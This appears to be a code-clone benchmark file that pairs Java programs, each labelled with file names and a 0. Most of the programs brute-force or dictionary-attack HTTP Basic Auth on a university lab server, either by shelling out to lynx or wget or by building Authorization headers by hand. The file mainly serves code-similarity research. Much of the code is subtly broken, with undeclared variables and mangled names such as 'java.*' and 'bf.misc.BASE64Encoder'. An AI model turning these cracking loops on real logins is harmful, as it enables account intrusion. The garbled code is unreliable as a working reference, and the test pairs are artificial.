break; } } return encodedString; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
029.java
197.java
0
import java.net.*; import java.*; import java.io.*; import java.util.GregorianCalendar; public class Dictionary { public void crackAddress(String fileName) throws Exception { String line,username="",passwd,pass; int flag=0,i; BufferedReader bf = new BufferedReader(new FileReader(fileName)); Runtime run = Runtime.getRuntime(); GregorianCalendar =new GregorianCalendar(); while((passwd=bf.readLine().trim())!=null) { if((i=passwd.indexOf("\'"))!= -1) { passwd =passwd.substring(0,i)+("\\")+(passwd.substring(i,passwd.length())); } System.out.println("Hack password with the word:"+passwd); String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump"; Process result = run.exec(command_line); BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream())); while((line=bf.readLine())!=null) { flag=1; break; } if(flag==1) { System.out.println("The username is: "+username+" The password is: "+passwd); break; } } GregorianCalendar end=new GregorianCalendar(); double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3; System.out.println("The attack use"+time+" seconds."); } public static void main(String args[]) throws Exception { Dictionary ds = new Dictionary(); ds.crackAddress(args[0]); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
252.java
197.java
0
import java.net.*; import java.io.*; public class Dictionary { public static void main (String[] args) { String pwd = new String(); String userpwd = new String(); String reply = new String(); int i,j,k; int startTime, endTime,totalTime; URLConnection connectionObj; startTime = System.currentTimeMillis(); try { URL urlObj = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); BufferedReader file = new BufferedReader(new FileReader("words")); while ((pwd=file.readLine()) != null) { userpwd = bf.encode("",pwd); connectionObj = urlObj.openConnection(); connectionObj.setRequestProperty("Authorization"," " + userpwd); connectionObj.connect(); reply = connectionObj.getHeaderField(0); System.out.println(pwd); if (reply.compareTo("HTTP/1.1 200 OK")== 0) { endTime = System.currentTimeMillis(); totalTime= (endTime - startTime)/1000; System.out.println("Total Time = " + (totalTime) + "seconds"); System.exit(0); } } } catch (MalformedURLException err) { System.out.println(err); } catch (IOException err) { System.out.println(err); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
230.java
197.java
0
import java.io.*; import java.*; import java.net.*; import java.util.*; public class Dictionary { public static void main (String[] args) throws IOException { BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); d = new Date().getTime(); FileReader fr = new FileReader("/usr/share/lib/dict/words"); BufferedReader bufr = new BufferedReader(fr); String word = bufr.readLine(); int total = 960; String[] pws = new String[total]; int count = 0; while (word!=null){ if (word.length()<=3) { pws[count] = word; count++;} word = bufr.readLine(); } int i=0; int response = 0; for (i=0;i<count;i++){ String uname = ""; String userinfo = uname + ":" + pws[i]; try{ String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes()); URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); response = uc.getResponseCode(); if (response == 200) break; else uc.disconnect(); } catch(IOException e){ System.err.println(e); e.printStackTrace(); } catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); } } System.out.println("Response "+i+" was "+response); System.out.println("The successful password was "+pws[i]); finish = new Date().getTime(); float totaltime = (float)(finish-d)/1000; System.out.println("Time taken: "+totaltime+ " seconds."); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
140.java
197.java
0
import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() { } public static void main(String[] args) { try { if (args.length != 2 ) { System.out.println("Usage: java BruteForce <URL> <UserName>"); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyBruteForce (args[0], args[1]); timeEnd = System.currentTimeMillis(); System.out.println("\n\n\n\n\tPass Cracked is: " + strPass); System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyBruteForce (String URL, String UserName) { String strPass = ""; char ch1, ch2, ch3; System.out.print("\n\n\n Applying BruteForce Attack: "); for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) { if ( ch1 > 'Z' && ch1 < 'a' ) ch1 = 'a'; for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) { if ( ch2 > 'Z' && ch2 < 'a' ) ch2 = 'a'; for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) { if ( ch3 > 'Z' && ch3 < 'a' ) ch3 = 'a'; strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); System.out.print("\b\b\b" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { return strPass; } } } } return "Could not find match"; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + ":" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty ("Authorization", " " + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase("HTTP/1.1 200 OK") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
065.java
197.java
0
import java.*; import java.io.*; import java.String; import java.util.*; public class BruteForce { public static void main (String [] args) { try { Date d = new Date(); String file = "index.html"; String file1 = "passwd."; String line =""; String [] cmd = new String[4]; cmd[0] = "wget"; cmd[1] = "--http-user="; cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/"; File f = new File(file); FileReader fr = new FileReader(file1); BufferedReader in = new BufferedReader(fr); while((line = in.readLine())!=null) { Date end = new Date(); cmd[2] = pass(line); Runtime.getRuntime().exec(cmd); if(f.exists()) { System.out.println(" have found your pasword"); System.out.println("the time: " + d.getMinutes() +":"+ d.getSeconds()); System.out.println("the end time: " + end.getMinutes() +":"+ end.getSeconds()); break; } System.out.println(cmd[2]); } } catch(IOException e) { System.out.println("hello try"); } } public static String pass(String str) { return "--http-passwd=" + str; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
087.java
197.java
0
import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
009.java
197.java
0
import java.util.*; import java.text.*; import java.io.*; import java.*; import java.net.*; public class WatchDog { public static void main(String args[]) { String s = null; String webpage = "http://www.cs.rmit.edu./students/"; String file1 = "file1"; String file2 = "file2"; try { Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } while (true) { try { Process p = Runtime.getRuntime().exec("sleep 86400"); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } try { Process p = Runtime.getRuntime().exec("wget -O " + file2 + " " + webpage); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } try { Process p = Runtime.getRuntime().exec("diff " + file1 + " " + file2); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } if ((p.exitValue()) == 1) { String mailServerURL = "yallara.cs.rmit.edu."; String host = "yallara.cs.rmit.edu."; String from = "@yallara.cs.rmit.edu."; String subject = "Change Detected In WatchDog.java"; try { Socket csoc=new Socket(mailServerURL,25); BufferedReader in=new BufferedReader( new InputStreamReader(csoc.getInputStream())); PrintWriter out=new PrintWriter(csoc.getOutputStream(),true); System.out.println("HELO "+host); System.out.println(in.readLine()); out.println("MAIL FROM:"+from); System.out.println(in.readLine()); System.out.println(in.readLine()); System.out.println("DATA"); System.out.println(in.readLine()); System.out.println("SUBJECT:"+subject); System.out.println(in.readLine()); while ((s = stdInput.readLine()) != null){ System.out.println(s); } out.println("."); System.out.println(in.readLine()); System.out.println("QUIT"); System.out.println(in.readLine()); } catch(Exception e) { e.printStackTrace(); System.out.println("Some error occoured while communicating server"); } } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
243.java
197.java
0
import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println("Message :" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println("Trying again"); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println("Passing dictionary word and waiting for URL reply....... "); String currentword = ""; String se = ""; try{ FileInputStream reader = new FileInputStream ("words"); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
236.java
197.java
0
import java.io.*; public class ReadDictionary { private BufferedReader bf; private String line=""; public static void main (String argv[]) throws Exception { ReadDictionary rd=new ReadDictionary(); rd.openFile(); for (int inx=0; inx<800 ;inx++ ) { System.out.println(inx + " " + rd.readLine() ); } } public void openFile() { try { setBr(new BufferedReader(new FileReader("/usr/share/lib/dict/words"))); }catch(IOException e) { System.out.println(e.getMessage()); } } public String readLine() { try { { line = bf.readLine(); }while (line != null && line.length() >3); }catch (IOException e) { System.out.println(e.getMessage()); } return(line); } public BufferedReader getBr() { return this.line; } public void setBr(BufferedReader bf) { this.bf = bf; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
156.java
197.java
0
